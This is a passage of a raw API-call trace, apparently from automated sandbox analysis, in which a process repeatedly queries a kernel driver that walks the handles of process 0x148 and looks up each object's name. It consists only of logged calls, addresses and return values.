lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0136.059] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.059] PsAcquireProcessExitSynchronization () returned 0x0 [0136.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.060] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0136.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.060] PsReleaseProcessExitSynchronization () returned 0x2 [0136.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.060] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.060] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0136.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.060] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.060] PsAcquireProcessExitSynchronization () returned 0x0 [0136.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.060] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0136.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.060] PsReleaseProcessExitSynchronization () returned 0x2 [0136.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.060] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.060] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0136.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.060] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.060] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.060] PsAcquireProcessExitSynchronization () returned 0x0 [0136.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.060] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0136.060] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.060] PsReleaseProcessExitSynchronization () returned 0x2 [0136.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.060] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.060] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0136.060] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.061] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.061] PsAcquireProcessExitSynchronization () returned 0x0 [0136.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.061] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0136.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.061] PsReleaseProcessExitSynchronization () returned 0x2 [0136.061] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.061] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.061] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0136.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.061] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.061] PsAcquireProcessExitSynchronization () returned 0x0 [0136.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.061] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0136.061] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.061] PsReleaseProcessExitSynchronization () returned 0x2 [0136.061] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.061] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.061] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0136.061] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.061] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.061] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.061] PsAcquireProcessExitSynchronization () returned 0x0 [0136.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.061] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0136.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.062] PsReleaseProcessExitSynchronization () returned 0x2 [0136.062] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.062] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.062] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0136.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.062] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.062] PsAcquireProcessExitSynchronization () returned 0x0 [0136.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.062] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0136.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.062] PsReleaseProcessExitSynchronization () returned 0x2 [0136.062] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.062] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.062] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0136.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.062] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.062] PsAcquireProcessExitSynchronization () returned 0x0 [0136.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.062] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0136.062] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.062] PsReleaseProcessExitSynchronization () returned 0x2 [0136.062] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.062] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.062] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0136.062] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.062] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.063] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.063] PsAcquireProcessExitSynchronization () returned 0x0 [0136.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.063] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0136.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.063] PsReleaseProcessExitSynchronization () returned 0x2 [0136.063] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.063] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.063] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0136.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.063] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.063] PsAcquireProcessExitSynchronization () returned 0x0 [0136.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.063] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0136.063] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.063] PsReleaseProcessExitSynchronization () returned 0x2 [0136.063] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.063] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.063] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0136.063] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.063] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.063] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.063] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.063] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.063] PsAcquireProcessExitSynchronization () returned 0x0 [0136.063] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.111] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0136.111] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.111] PsReleaseProcessExitSynchronization () returned 0x2 [0136.111] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.111] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.111] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0136.111] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.111] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.111] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.111] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.111] PsAcquireProcessExitSynchronization () returned 0x0 [0136.111] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.111] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0136.111] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.111] PsReleaseProcessExitSynchronization () returned 0x2 [0136.111] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.111] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.111] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0136.111] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.111] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.111] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.111] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.111] PsAcquireProcessExitSynchronization () returned 0x0 [0136.111] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.111] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0136.111] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.111] PsReleaseProcessExitSynchronization () returned 0x2 [0136.111] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.111] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.111] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0136.112] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.112] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.112] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.112] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.112] PsAcquireProcessExitSynchronization () returned 0x0 [0136.112] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.112] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0136.112] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.112] PsReleaseProcessExitSynchronization () returned 0x2 [0136.112] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.112] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.112] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0136.112] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.112] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.112] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.112] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.112] PsAcquireProcessExitSynchronization () returned 0x0 [0136.112] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.112] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0136.112] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.112] PsReleaseProcessExitSynchronization () returned 0x2 [0136.112] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.112] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.112] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0136.112] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.112] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.112] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.112] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.112] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.112] PsAcquireProcessExitSynchronization () returned 0x0 [0136.112] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.112] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, 